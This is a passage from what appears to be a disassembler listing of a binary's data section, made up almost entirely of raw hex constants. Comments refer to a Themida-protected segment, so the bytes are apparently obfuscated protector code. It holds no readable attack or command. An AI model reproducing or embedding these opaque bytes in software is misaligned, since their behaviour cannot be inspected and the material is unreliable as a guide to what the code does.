0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0D385C700h dd 106173Dh, 50000000h, 244C010Fh, 0D7858FFEh, 8D06173Dh dd 173DCF85h, 0D7BD8D06h, 8906173Dh, 23E938h, 858D0000h dd 61412F5h, 538408Bh, 9B46F317h, 3DCF8589h, 858D0617h dd 61412F5h, 893C408Bh, 173DD385h, 0EC858D06h, 8906173Dh dd 14191D85h, 87E906h db 2 dup(0) word_57CC3E dw 8B52h ; DATA XREF: Themida_:0054954Co dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 word_57CC66 dw 8B52h ; DATA XREF: Themida_:0054BD8Co dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 word_57CC8E dw 8B52h ; DATA XREF: Themida_:00549A6Co dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h dd 595BC38Bh, 8C25A5Eh, 5F858D00h, 89061740h, 14096D85h dd 87858D06h, 89061740h, 1431AD85h, 0AF858D06h, 89061740h dd 140E8D85h, 5E806h, 70FF0000h, 666D3824h, 5AB4A7BEh dd 50C281F9h, 66000068h, 0DA7AD681h, 0C88BC02Bh, 5B1034FFh dd 0D4DBEB81h, 0BE665D8Ah, 0F381345Bh, 35ED3AD0h, 1800Fh dd 81F90000h, 894EE7C3h, 8166536Fh, 8FEEF8C7h, 0AE90204h dd 8C000000h, 48581497h, 295AA2A6h, 7E8539Ch, 1D000000h dd 4B09DEE7h, 860FB1FEh, 0 dd 0E8835E59h, 0FBF6604h, 34F8815Fh, 0FFFFF98h, 0FFFF9F85h dd 8E9FFh, 71580000h, 0C6B93FB5h, 66609C5Dh, 8B16D5BEh dd 8BCE8BC0h, 0B1BD83D1h, 61430h, 0BD830975h, 6141AE1h dd 50197400h, 0B8C08B53h, 40Eh, 1A498589h, 9D8D0614h, 616B73Ah dd 585BD3FFh, 1AE1BD83h, 74000614h, 0B8535017h, 40Eh, 1A498589h dd 9D8D0614h, 616B429h, 585BD3FFh, 14E98CB6h, 0E9000000h dd 7B9C3BC1h, 30A76E31h, 2E3EA4D5h, 0A15BE87Eh, 8BF19B81h dd 6AC08BD6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 9B92C355h, 2309BD83h, 0F000614h dd 4084h, 0D7C28000h, 2E4E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0AC94416Bh dd 0E81ABC78h, 0Dh, 0FD197215h, 8803EF43h, 4355E083h, 0CB8B66C7h dd 0FDF8C59h, 0CA81F0BFh, 730ABB1Dh, 4C7F766h, 96850F00h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0E0EC355h, 83D6BF0Fh, 1414CDBDh dd 850F0006h, 0Eh, 0D914DA81h, 5EE9608Ch, 0F000002h, 0FF2BD1B7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h dd 630E6BAh, 810F603Ah, 2, 0D681F6B4h, 13F7F19Fh, 0BB9D8D61h dd 6A061744h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 7F6BC353h, 891F19F4h, 0E2816634h dd 665068B7h, 89E8F3B9h, 8F0F241Ch, 0 dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 20D4C355h, 646A1082h dd 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 362F96C3h, 8DD03B2h, 0F001F9Ah dd 0C48BD3B7h, 38D0Fh, 0C9800000h, 0EB01CD7Dh, 3C29B900h dd 6A56ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 609E70C3h, 0FC6057B4h, 8B0Fh, 61610000h dd 0DE9h, 0A0B30300h, 0B9D8B27Dh, 2B8381F9h, 8F64F7CFh dd 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 87E86AA9h, 44BE5C46h, 0F939448Bh dd 6A04C483h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 8D77C353h, 42B2CE55h, 840FC00Bh dd 0EDh, 753ABE56h, 665A5EC8h, 6A61D18Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F089C353h dd 50E2CF70h, 0A2DC5B95h, 8DF6BF0Fh, 1470F0BDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 4A56F36Ah, 0B8A2491Ch, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0DBC35545h, 0FF2BF180h, 1EBEBAE7h dd 8B577AEFh, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h, 88D508Ah dd 1E800Fh, 880F0000h, 18h, 13E9h, 24FEF400h, 0C39AD4FEh dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 43B961FCh, 8B7B77AAh dd 8880FC0h, 0F000000h, 28Ch, 83616000h, 1430B1BDh, 9750006h dd 1AE1BD83h, 74000614h, 8B535019h, 40EB8C0h, 85890000h dd 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h dd 50177400h, 40EB853h, 85890000h, 61430C1h, 0B4429D8Dh dd 0D3FF0616h, 12E9585Bh, 94000000h, 2489AFB8h, 88DE0443h dd 0F5838B14h, 1234FCE1h, 0F8C08B07h, 8EBC28Bh, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 12CD858Bh dd 858D0614h, 617764Fh, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 61745A5h, 14CDBD83h, 0F000614h, 0F84h, 6A6000h, 116995FFh dd 0E9610614h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 1745A185h, 0A5B58B06h, 0C1061745h, 896610CEh dd 0B58B0272h, 61745A5h, 0FC728966h, 0A1858B61h, 0C3061745h dd 1729958Dh, 95890614h, 61434F1h, 2D019589h, 85FF0614h dd 6142D01h, 1A5985C6h, 68530614h, 0FCB148D8h, 1145B5FFh dd 858D0614h, 6143B13h, 8589D0FFh, 6141169h, 3E06858Dh dd 85890617h, 6143525h, 20EBh, 7 dup(0) dd 0EE90000h, 0E9000006h, 602h, 17488168h, 377DE906h, 5A68FFFDh dd 0E9061749h, 0FFFD3773h, 174B2968h, 3769E906h, 0A968FFFDh dd 0E906174Bh, 0FFFD375Fh, 64B609D3h, 1F714C87h, 0D92B9042h dd 8EE0D9FCh, 459726B1h, 0D304AC0Ch, 16BB98EAh, 647451A3h dd 0AA2C095Bh, 2BB3BF11h, 92E3F25h, 0F1585358h, 4FFBC012h dd 0F1E82709h, 855C32D1h, 0CEBCF625h, 8DFDAFCBh, 0A30DCC23h dd 0F62D2EEh, 63FBB7E5h, 2BA0E234h, 7EEDCB3Ah, 407B5724h dd 2BD7E2F3h, 593EA4D3h, 55000000h, 0F1E7F6D9h, 60107E51h dd 828D4B18h, 0F1E7967Ch, 0EA82AA51h, 3AFAEB93h, 184702EBh dd 7C824A12h, 51F2C896h, 0F5382AAh, 57E71092h, 5C637542h dd 0EC0158B0h, 0ED48FDDCh, 7DA52958h, 0A27C532Bh, 33EF4394h dd 29020E3Dh, 3A000000h, 0A652696Dh, 0D17D3C99h, 0CBB2E179h dd 0F1E7F7D9h, 5F0F7D51h, 2F941117h, 774457E6h, 902DA65Eh dd 0C5F48CE4h, 0EC71941h, 4FFBC012h, 0F1E82809h, 9427ABD1h dd 0C5F8DBE8h, 6022C419h, 69290D81h, 0F4C70BD8h, 0B6C1F048h dd 714D9F1Ch, 3B125A08h, 62EF350Eh, 0ADEB4273h, 1B498CCCh dd 2E343A69h, 0D1F1FC4Ch, 947A8058h, 21D1F2DBh, 65E0AB1h dd 0D4801840h, 0DFF70FC7h, 40D830DCh, 0FCA412EEh, 0CDF0E7B4h dd 0FAC31421h, 272D3362h, 0D7E60F68h, 0E6AEF61Eh, 6EEFAE0h dd 30360ED8h, 0D806EF4Ah, 6F9E365Eh, 0EEDDBF05h, 7362D806h dd 4B8D9A46h, 0BAC0C874h, 0D806EED4h, 466AC0E8h, 0BCDEA504h dd 349E6B9Eh, 5483DB87h, 0D8E67DE8h, 758178h, 13980000h dd 0DAB1F9A5h, 39EDE10Ch, 3238672Dh, 0E6389C2Ch, 94DC0457h dd 703E91BDh, 1948E258h, 2B904613h, 2CDAFCD9h, 106814A5h dd 10A813C3h, 0A4B87732h, 0D8E6D03Eh, 36Ch, 24764993h dd 0DF318C47h, 99EBD002h, 4EA019BCh, 5576671h, 13C4ECCCh dd 567B58AAh, 0A4341163h, 0EAECC91Bh, 0EB737FD1h, 92FFFE5h dd 0B1181358h, 33711h, 567C4900h, 124F3665h, 0DA4A3CC0h dd 4A88DA2Bh, 0F23F5E44h, 0B24A7251h, 8F666E1Ah, 47FEC127h dd 0BFA5ABBAh, 0D351F24Ch, 0A0E413ABh, 51F24CBEh, 0D0C07148h dd 6410AB2Bh, 9FE2B50Ch, 0DA724989h, 490567ABh, 6C5151F2h dd 0BE51F24Ah, 51F249DCh, 0F24A4628h, 0CF03D051h, 0B9E840ECh dd 0F2499375h, 3AB1991h, 0BF1CF3BBh, 9A8780E7h, 0E4ACF01Fh dd 0AC17E757h, 626F3C84h, 0B53AB57h, 9581F05h, 0DC0B3318h dd 48F86672h, 4613800h, 0CA9DE5B5h, 5DC00433h, 6B1DFD17h dd 94E6543h, 230D7891h, 29315h, 4F706C00h, 0AB320FDh, 0C4F7DBB8h dd 79409572h, 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh dd 0C5A2F4CBh, 4C58AA11h, 30D8BEC4h, 0F1EC5809h, 0F7C4128Ah dd 2DD13F4Bh, 2D8EDFE5h, 507857E6h, 7F5926FEh, 0CC061140h dd 60D0A7EFh, 5ADA41EEh, 4A273766h, 7B873388h, 1319610Dh dd 5DFD66AAh, 0BBFED7B4h, 0CD1FB70Fh, 2067D5B7h, 91975F5Eh dd 5E2067ABh, 0C6F3E2BFh, 0D32AC21Ah, 83384C69h, 0EAF42368h dd 868CD47Ch, 6414A431h, 0BA03D4A1h, 387B60Eh, 0A53F252Bh dd 76536437h, 2FC75F5Ch, 0FFBC1AE7h, 0B506D0ADh, 0A4D1C309h dd 9776437h, 4F551D65h, 6437A569h, 8435A07Dh, 0B9E880D8h dd 0EC34ADB3h, 865E6A2Bh, 4EEA9A80h, 0FAA276Ah, 41892149h dd 9526AC79h, 0F272113Eh, 79A8DDF8h, 153686Eh, 5D09B224h dd 714A8855h, 0FA3E6DC5h, 6A4F8B08h, 489040AEh, 43D0D942h dd 73BBE370h, 0DE8A2FA6h, 84515786h, 3A176952h, 0AD71F9Ch dd 573D43C8h, 6B7066D2h, 0A7FFAB43h, 94020E78h, 219EA4ECh dd 53765B19h, 57397F2Bh, 0DC767E18h, 0C19C5F6h, 3349F5C6h dd 1DB9730Fh, 29AF29Eh, 6279193Bh, 0DA61C203h, 74498E5Bh dd 2440262Ch, 2C54767Eh, 1597FDh, 0D9AE0000h, 51F104F7h dd 1E7Bh, 0B2DCB300h, 0B454735Fh, 173E2554h, 8632874Ah dd 7C25D72Eh, 2A5A2FCh, 7DAD8FD3h, 175651F1h, 2F8C4Ah dd 90D888F6h, 0E62D398Ah, 973C2357h, 0F9F15803h, 0F8A415BCh dd 287008A0h, 94407B5Bh, 97A30D3Ch, 0BA03D029h, 91D4DA22h dd 0DD5DFCB8h, 99290F15h, 603D5E1Dh, 469E4A73h, 0D3FB7FAEh dd 9088C8F5h, 0AFBDA738h, 0C4h, 0CC1EA13Bh, 87D9E4EFh dd 419328AAh, 0F6487164h, 0ADFFBE19h, 6B6C4474h, 0AE230052h dd 0FCDCB90Bh, 429471C3h, 931B2779h, 932A78Dh, 59C0BB58h dd 318E4A17h, 278AF802h, 5F74FE8Bh, 2EC9075Eh, 0B3999FE7h dd 0C751F2D8h, 0B9BF079Fh, 57E71E68h, 4E3F9D0h, 43EFD008h dd 0BAF094EBh, 603DC1F0h, 429A4677h, 84F2FEAAh, 2B8E94DCh dd 395DFDA1h, 0A840795Ch, 8F9EFDCAh, 8E9C8638h, 44h, 4C9E21BBh dd 759646Fh, 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h dd 2EA380D2h, 7C5C398Bh, 0C214F143h, 139BA7F9h, 933270Dh dd 0D9403B58h, 0F11h, 577C4900h, 0E4503766h, 7746915Eh dd 5D4473CBh, 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h dd 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah dd 0E6895633h, 4C681h, 0EE830000h, 24348704h, 6824248Bh dd 7D6Ah, 53243489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 14895C24h, 67BD5524h, 0F755CC3Fh, 28C581DDh, 555BE386h dd 8B545D5Eh, 0C4812414h, 4, 2C815655h, 6928E324h, 0C5815D75h dd 756928E3h, 5D086A89h, 5A2434FFh, 4C481h, 348B0000h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FD318AE9h dd 7C09C9FFh, 12B889ADh, 306174Ch, 0EBC88BC5h, 5F9E900h dd 0EDE90000h, 68000005h, 6174D7Eh, 0FD3166E9h, 4EA868FFh dd 5CE90617h, 68FFFD31h, 6174F23h, 0FD3152E9h, 502E68FFh dd 48E90617h, 68FFFD31h, 6175127h, 0FD313EE9h, 0D7E8F4FFh dd 922BA885h, 4C6F6340h, 1B81DFAh, 0B805D2AFh, 258B2D66h dd 0DCB90BB2h, 9572C4F5h, 4D2A7C43h, 0D4E03289h, 3460464Ch dd 79745809h, 0E7F7D912h, 5D4351F1h, 0EF51F1E8h, 0BA07B422h dd 9DF5A11Eh, 0E8452A6Eh, 0B59751F1h, 3F51F1E7h, 2A596672h dd 0F1E803E6h, 0E86F5151h, 31F9D1F1h, 0F1E8452Bh, 23159D1h dd 0AF278AF8h, 78419032h, 847F6421h, 39EA4ECh, 71D7E5D4h dd 0A4340149h, 0ECECC91Bh, 0AD1B27D3h, 50B3B901h, 5EDDFAB8h dd 6E685836h, 230DB893h, 44815h, 734C9000h, 2E8F4421h dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h dd 310E6059h, 0E9C618A7h, 707CCEEDh, 34FCE2E8h, 15105809h dd 0F7C412AEh, 6176434Bh, 2958B05Ch, 0F1E802E5h, 2E6C9051h dd 8B46C016h, 922A822Eh, 48736340h, 74478F9Ch, 0A11CBBC8h dd 0CEEFE8F5h, 0FDBC1522h, 0DF43F951h, 8AB37FA3h, 0F65E6A52h dd 0A48AC5Eh, 0B622E4F2h, 85505D09h, 98308834h, 0F570AE00h dd 9FEEDC3h, 3A4h, 47C41220h, 0F1E85B41h, 0CFF0E851h, 0DD05CB23h dd 70539945h, 0D751F1E8h, 27AF4505h, 0AE364294h, 0F1E7C2A8h dd 2AED651h, 8ADCE3F5h, 4A9229ADh, 0E16EAB82h, 0E37B7DCFh dd 0F241775Dh, 34638B51h, 0F353BECAh, 0F24107EDh, 5BF31B51h dd 63693109h, 51F2417Dh, 9D1EB491h, 0D20199F1h, 0AC0FC7h dd 93DBDEF3h, 40DFC5CBh, 0CBF351F2h, 94768C9Ch, 1951F240h dd 495501B8h, 64597EDBh, 1CB784CCh, 509DF5A1h, 1073687h dd 0E57228FBh, 383E1657h, 58065252h, 0C8A63E66h, 3EA7D502h dd 1E8F9D87h, 0BA000003h, 6E4B9D22h, 29065865h, 0E3C012A9h dd 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h dd 0F8C313F0h, 0C129AA6h, 58093626h, 12D83F3Ah, 3E4BF7C4h dd 6A772398h, 0EA005267h, 51F1E7C8h, 6D82FBD2h, 0A0A1B763h dd 83DB8738h, 26CC94EBh, 3198AF1Dh, 5EDCBE02h, 706151F1h dd 75579D49h, 0FB51F23Fh, 9399E18Dh, 57E55A5Ch, 0C80CEA12h dd 0D53EA7CCh, 2A3DDEBh, 0A7350000h, 0EAE9C618h, 2EA481D3h dd 775E3B8Dh, 0C413F042h, 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh dd 6BBD02D6h, 2173488Eh, 0A1878D15h, 0B5580936h, 0C41253BAh dd 0CA0B2938h, 972FBF93h, 6956824Fh, 9922B0BDh, 5B68D201h dd 2294407Bh, 0A06D9CBEh, 8C2E8536h, 0CC55556Bh, 45919CCBh dd 7F4C2476h, 17B4A759h, 398CA78Dh, 5F0672A1h, 9FFEED9Dh dd 214h, 0E7F7D9B6h, 5C7C51F1h, 0E7C7ADB3h, 0FEDB51F1h dd 0E43CE8D5h, 8562B44Ch, 57246C53h, 0DCE9407Bh, 6C73BDA1h dd 27349ECDh, 0F9C60EB1h, 43292FDEh, 5751F2B4h, 93EB972Fh dd 2488FA64h, 0B50ACE66h, 8A33A06Dh, 9C734B5Bh, 4B86D77h dd 16D9C26h, 0FEED3464h, 709Ah, 0C4CA9200h, 51F2B0DEh dd 7C82CAF2h, 51F2B096h, 6C5382AAh, 308D4A17h, 0F3FD2C84h dd 0BB42485h, 0A6252B73h, 5A57E519h, 0C672498Dh, 0DEBB3F6Eh dd 0C018C4F9h, 2E944A28h, 331D3EA8h, 19825h, 239C4000h dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 37AC9298h dd 0C5C05809h, 845BE35Eh, 9CC64325h, 68537F2Ch, 959BA1D0h dd 51F2B397h, 0EAF7A3CBh, 0A27FD1EEh, 0B906D234h, 0D51DB50Dh dd 2176C0FEh, 8CBB752Dh, 46AB1622h, 40922A8Fh, 84379B68h dd 318E4A55h, 0E7D402DFh, 16A32E3Bh, 0E5D401CEh, 0A2B2E139h dd 22080E96h, 3651F234h, 7D55620Eh, 0A710EC3Eh, 943E4BF7h dd 0C112DF27h, 0A7BDCDFCh, 51F233C5h, 0E931DD4Bh, 0E6356CE3h dd 327AA257h, 86359D6Ah, 81874C57h, 65BD6950h, 359E7BCDh dd 9CFDC88h, 4DE5D401h, 7C3D94A1h, 0AC0FC3D0h, 8A6A8D64h dd 88B428B7h, 75E3EF59h, 0F4E0170Ah, 65FD99ADh, 0AA98171Dh dd 844C5DF9h, 1A89987Eh, 5584AC5Eh, 1DCBA9D1h, 0A838939Dh dd 9FB0BEh, 0A3390000h, 0E6EDCA1Ch, 2AA885D7h, 73623F91h dd 0C017F446h, 4672ABFDh, 0FE506D6Ah, 0B709B021h, 6FC1FEDAh dd 25774492h, 0A58B9119h, 0B9580938h, 4A1757BEh, 2C84308Dh dd 0D7E4F2FDh, 3B81E2Bh, 33884A57h, 62577A87h, 0DE7CA0B6h dd 6410AD26h, 5EC2740Ch, 0EDCE083Ch, 0E7FFCEA5h, 5606E6A4h dd 0F2C26A50h, 0BE567E51h, 24417F8Fh, 0DAFEED18h, 10h dd 0E7F6D9F1h, 597D51F1h, 10321062h, 89000000h, 2E8B4A17h dd 0E7D9BBFFh, 785E51F1h, 0F338F143h, 75D62h, 0DC620000h dd 0CAF9C40Fh, 0F5CA12E3h, 219A3C49h, 4F706875h, 7E3B96A3h dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h dd 895033B8h, 0EABB53E0h, 812B4D77h, 5C33E4F3h, 2AC3810Ah dd 0F768EC37h, 0CFE381D3h, 0C145785Bh, 0F38105E3h, 800018E4h dd 835BD801h, 48704E8h, 0BE685C24h, 8900007Ah, 89562404h dd 4C681E6h, 83000000h, 348704EEh, 34895C24h, 0E2B95124h dd 8906174Ch, 240C8BC8h, 6804C483h, 7E7Fh, 83242489h, 5E042404h dd 0CEB85050h, 29587733h, 58042444h, 8108468Fh, 33CE0846h dd 348B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 24048B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFFD2B8Fh dd 1971F497h, 695D5572h, 0DE1E1915h, 1751EBB8h, 8BC50306h dd 51E9D1h db 2 dup(0) word_57DE8A dw 8B60h ; DATA XREF: Themida_:0054B110o dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh dd 9FD3Eh, 10E8h, 706B1F00h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch dd 38D0F19h, 66000000h, 0F85ACE8Bh, 6075C281h, 8B660000h dd 51C033DAh, 6CD68166h, 3C8B5EE9h, 815B5302h, 25E3A0F7h dd 0DF8B6664h, 0F7EEF781h, 0BF0F73C1h, 0D6C781DFh, 660DA195h dd 892C1BBEh, 30BE023Ch, 0E925B061h, 14h, 8D4503DAh, 7B21B7ABh dd 0A1EA9BC4h, 0EA3B4782h, 0D32C36C1h, 7139E881h, 0B70F3292h dd 35C081DFh, 66329271h, 8165FDBBh, 0FFA050F8h, 18850FFFh dd 0F000000h, 883h, 28A0F00h, 8B000000h, 28E9DEh, 0F27D0000h dd 0E9722AE0h, 13h, 0AE781EABh, 475945C7h, 98B16A18h, 563420D6h dd 0E9952AD5h, 0FFFFFF6Ah, 0E0D0DE1Ch, 61E977D8h, 48000001h dd 0E77FB676h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh dd 38AE29h, 3C0000h, 400000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 2Ah dup(0) dd 1ECDE9h, 57586800h, 0DCE90617h, 68FFFD28h, 617586Ch dd 0FD28D2E9h, 592868FFh, 0C8E90617h, 68FFFD28h, 6175A07h dd 0FD28BEE9h, 5AD368FFh, 0B4E90617h, 68FFFD28h, 6175B91h dd 0FD28AAE9h, 5C5768FFh, 0A0E90617h, 68FFFD28h, 6175CF8h dd 0FD2896E9h, 605168FFh, 8CE90617h, 68FFFD28h, 61760C0h dd 0FD2882E9h, 61DB68FFh, 78E90617h, 68FFFD28h, 61764FEh dd 0FD286EE9h, 683768FFh, 64E90617h, 68FFFD28h, 6176BA4h dd 0FD285AE9h, 6D5E68FFh, 50E90617h, 68FFFD28h, 6176DC4h dd 0FD2846E9h, 6E3368FFh, 3CE90617h, 68FFFD28h, 6176E88h dd 0FD2832E9h, 701168FFh, 28E90617h, 68FFFD28h, 61770FEh dd 0FD281EE9h, 72B568FFh, 14E90617h, 1EFFFD28h, 0D2AF01BEh dd 8D6ABC01h, 47247645h, 0FCD92B8Eh, 5790E2DBh, 35884F61h dd 0EECB06E3h, 0A619BF9Ch, 5C5F7754h, 7076FE0Ah, 58093D8Ah dd 123CA39Eh, 0E2AFF7C4h, 339DCCF1h, 0B90BB026h, 77BF6FDDh dd 48902DAAh, 0F1E85C42h, 19487051h, 59744B13h, 0A8708A4Eh dd 20E9C191h, 21B9FB29h, 8F1BAEF2h, 3A0757E5h, 1F772398h dd 468F6CF0h, 0E92FDB73h, 58066E07h, 3952F012h, 0F8D9682Ch dd 35D2h, 0A513E900h, 0F1E4B1F9h, 77C41CC8h, 5CB4605Bh dd 5E21272Dh, 0AA57E503h, 6BA2BAD3h, 3665D2C7h, 98DE8AB2h dd 580678B6h, 0E8E39FC1h, 0F8D9607Dh, 0CF81h, 0C4129800h dd 62F78138h, 33CB9E3Fh, 605D7A87h, 8C2FA7B4h, 0B803D3E0h dd 3E2B5066h, 643B51F2h, 0E7535D72h, 4B5685EBh, 5F5A7B8Bh dd 0D59D75C7h, 0F22DE9CFh, 1F25FD51h, 51F22E39h, 408D254Dh dd 257D2992h, 0D0EBEBF6h, 6AA1824h, 477DB8BEh, 0DCA957E5h dd 141701F9h, 64F444F2h, 0F1199DCCh, 0C5F6DCA9h, 0B6625B78h dd 431F2F5Eh, 19E129D5h, 0AB318A4Ch, 580652C5h, 7C82B1D9h dd 0FB294A76h, 6AB2DA5Dh, 31833A9Dh, 5C3A8354h, 389125EEh dd 14A3B19Bh, 6A00001Ch, 1EFB4D72h, 0D9B608B5h, 9370C2F9h dd 48257742h, 0A3DC2E8Fh, 813C9B15h, 3A7F522Fh, 0F2CD0BE8h dd 0A813C3A0h, 0BCC24A56h, 58093ED6h, 1288EFEAh, 0C9A6F8C5h dd 0A35CAE0Dh, 97014017h, 7A0BEEE2h, 2BD3414Bh, 0E81ADDE3h dd 0C0E857E5h, 0E7ECCE14h, 0D5F75806h, 0CCAD84B5h, 0C5AF9595h dd 0D9E2F441h, 3AA6D52Dh, 0F8D8552Bh, 76AD5C33h, 5A89D8Eh dd 0FC70D6h, 9B680000h, 81D98538h, 4F176B52h, 0BF6B5082h dd 0E7FBE167h, 0E70F51F1h, 9229ADB8h, 0BFFED9E6h, 0EBA8CD13h dd 0EBB851F1h, 1B28D4E7h, 0FC5400BBh, 0AC2A3564h, 428F795Ah dd 0FF47DF77h, 0EC4B3137h, 825F51F1h, 0A3D26A4Fh, 0BDE4BB93h dd 0E58E8E17h, 0FED8E312h, 970511BDh, 5E999FE7h, 8A57E57Eh dd 0DE3D0FB3h, 0E2111571h, 9A80865Eh, 0AE5806BAh, 21B900D1h dd 925F3789h, 74CC7845h, 21CD3B45h, 8EB8D3D9h, 0FE265DFBh dd 1AEEE9B6h, 176901BEh, 42209D3Ah, 3890C112h, 93A18Bh dd 7E00001Bh, 320F615Eh, 0EDCA1CA1h, 0A784D6E5h, 5C398B2Eh dd 0B7F0427Bh, 9528AF01h, 4E6B6643h, 6B91FFCh, 0BCFFD7B4h dd 0D0D65E6Ah, 58093FEAh, 129C03FEh, 0C9A6F8C5h, 0C623EF0Dh dd 0FBC63C2h, 0F23B2309h, 770F3751h, 51C097DFh, 0A1433260h dd 0C8A0B0DFh, 3EA3A3F1h, 1E6B47D7h, 25A06B3h, 0C412ECD3h dd 983E4BF7h, 57B3D123h, 4C943CAAh, 0E501FB46h, 0A1C957h dd 9391BEACh, 32DE4CF2h, 0A2BDE4EAh, 2B531A87h, 5905737Fh dd 5D434911h, 711AA883h, 0E141A49h, 209BBE19h, 876D734Bh dd 9B20BCBEh, 0C693DB73h, 9663AB10h, 3E4E7D42h, 68467561h dd 75F170F6h, 44C3D1BBh, 3A00001Ah, 0EECB1DA2h, 0A986D8E5h dd 63409229h, 18F54772h, 73ACFEBFh, 516C6B45h, 0AAF22FFh dd 0C2FDDBB8h, 78439370h, 8C921A26h, 580940A6h, 1758BFBAh dd 4F55B640h, 2655BBCFh, 5400BB1Bh, 0EE36DA48h, 0E62585E8h dd 196B9357h, 23FAA3FBh, 5DC0EE61h, 0ACB6E521h, 444A923Eh dd 5DF9C2F9h, 0A1B3E0C7h, 3802A894h, 32ABFFA0h, 0D6A56929h dd 0A76AF968h, 54C17C87h, 620060Ch, 0C3425CCh, 97642C74h dd 7CD4803Bh, 0E615A82Fh, 0BF367BA2h, 7AB88F2Bh, 5BF0FB41h dd 25FD81B0h, 0E06B391Fh, 8D254D2Bh, 0B11D9E1h, 2BE06B25h dd 0D8E21139h, 787EC66Ah, 31D3A583h, 78458DB5h, 4D155D5Eh dd 0F4A66147h, 4D7531h, 0A8B8E7D8h, 0EBCE03D0h, 0ADB8E73Fh dd 0B4B49229h, 1164B989h, 19651927h, 0C3190000h, 6CDAAFCh dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh, 0DE308D4Ah dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580942h dd 0C412379Eh, 0D13F4BF7h, 0CDFE52Dh, 0FA57E519h, 0FB6280D2h dd 9CA2FE6Ch, 5805F8B6h, 0C20AA2CAh, 97A4B6EBh, 92C1D823h dd 0F6FCC48Ch, 58061F10h, 1EB69CA2h, 0A2CA5806h, 4185B4DCh dd 5DF938F6h, 0E5FB9CC4h, 3A31171Dh, 1D455E1Ah, 1176AAEEh dd 0D7A4D881h, 828CBBFEh, 1E246C14h, 0B622F7h, 0ADB9658Dh dd 0F3D9DF3Fh, 700D702h, 343292Fh, 2F5700D7h, 0B1B7FF97h dd 6CA3DBCh, 0B17EC6EEh, 0BFC6D725h, 20CD809Fh, 915E3688h dd 3F4A7940h, 2C462497h, 0AD8FC29Bh, 1899B5C3h, 0F7E50000h dd 